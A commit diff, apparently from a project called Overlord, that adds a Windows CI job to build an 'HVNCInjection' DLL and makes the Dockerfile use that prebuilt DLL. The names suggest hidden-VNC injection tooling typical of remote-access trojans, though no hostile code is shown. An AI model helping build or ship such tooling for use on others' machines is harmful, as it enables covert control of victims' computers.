yeah fuck you linux
This commit is contained in:
@@ -11,7 +11,26 @@ env:
|
|||||||
IMAGE_NAME: ${{ github.repository }}
|
IMAGE_NAME: ${{ github.repository }}
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
|
build-hvnc-dll:
|
||||||
|
runs-on: windows-latest
|
||||||
|
steps:
|
||||||
|
- name: Checkout repository
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Build HVNCInjection DLL with MSVC
|
||||||
|
shell: cmd
|
||||||
|
run: call build-hvnc-dll.bat
|
||||||
|
|
||||||
|
- name: Upload HVNCInjection DLL
|
||||||
|
uses: actions/upload-artifact@v4
|
||||||
|
with:
|
||||||
|
name: hvnc-dll
|
||||||
|
path: Overlord-Server/dist-clients/HVNCInjection.x64.dll
|
||||||
|
if-no-files-found: error
|
||||||
|
retention-days: 1
|
||||||
|
|
||||||
build-and-push:
|
build-and-push:
|
||||||
|
needs: build-hvnc-dll
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
permissions:
|
permissions:
|
||||||
contents: read
|
contents: read
|
||||||
@@ -21,6 +40,12 @@ jobs:
|
|||||||
- name: Checkout repository
|
- name: Checkout repository
|
||||||
uses: actions/checkout@v4
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Download HVNCInjection DLL
|
||||||
|
uses: actions/download-artifact@v4
|
||||||
|
with:
|
||||||
|
name: hvnc-dll
|
||||||
|
path: Overlord-Server/dist-clients
|
||||||
|
|
||||||
- name: Read Source Version
|
- name: Read Source Version
|
||||||
id: srcver
|
id: srcver
|
||||||
shell: bash
|
shell: bash
|
||||||
|
|||||||
+9
-8
@@ -67,14 +67,15 @@ COPY Overlord-Client/ ./Overlord-Client/
|
|||||||
COPY HVNCInjection/ ./HVNCInjection/
|
COPY HVNCInjection/ ./HVNCInjection/
|
||||||
COPY build-hvnc-dll.sh ./build-hvnc-dll.sh
|
COPY build-hvnc-dll.sh ./build-hvnc-dll.sh
|
||||||
|
|
||||||
# Attempt to cross-compile HVNCInjection DLL with mingw.
|
# Use MSVC-built HVNCInjection DLL if present (preferred, from CI artifact).
|
||||||
# Requires MinHook source in HVNCInjection/src/minhook/.
|
# Fall back to cross-compiling with mingw only if no pre-built DLL exists.
|
||||||
# If unavailable, pre-build the DLL on Windows with build-hvnc-dll.bat
|
RUN if [ -f dist-clients/HVNCInjection.x64.dll ]; then \
|
||||||
# and place it at Overlord-Server/dist-clients/HVNCInjection.x64.dll.
|
echo "Using pre-built MSVC HVNCInjection DLL"; \
|
||||||
RUN chmod +x build-hvnc-dll.sh && \
|
else \
|
||||||
HVNC_SRC_DIR=HVNCInjection/src HVNC_OUT_DIR=dist-clients bash build-hvnc-dll.sh || \
|
chmod +x build-hvnc-dll.sh && \
|
||||||
(test -f dist-clients/HVNCInjection.x64.dll && echo "Using pre-built DLL") || \
|
HVNC_SRC_DIR=HVNCInjection/src HVNC_OUT_DIR=dist-clients bash build-hvnc-dll.sh || \
|
||||||
echo "WARNING: HVNCInjection DLL not available"
|
echo "WARNING: HVNCInjection DLL not available (build with MSVC on Windows)"; \
|
||||||
|
fi
|
||||||
|
|
||||||
# Create necessary directories
|
# Create necessary directories
|
||||||
RUN mkdir -p certs public data
|
RUN mkdir -p certs public data
|
||||||
|
|||||||
Reference in New Issue
Block a user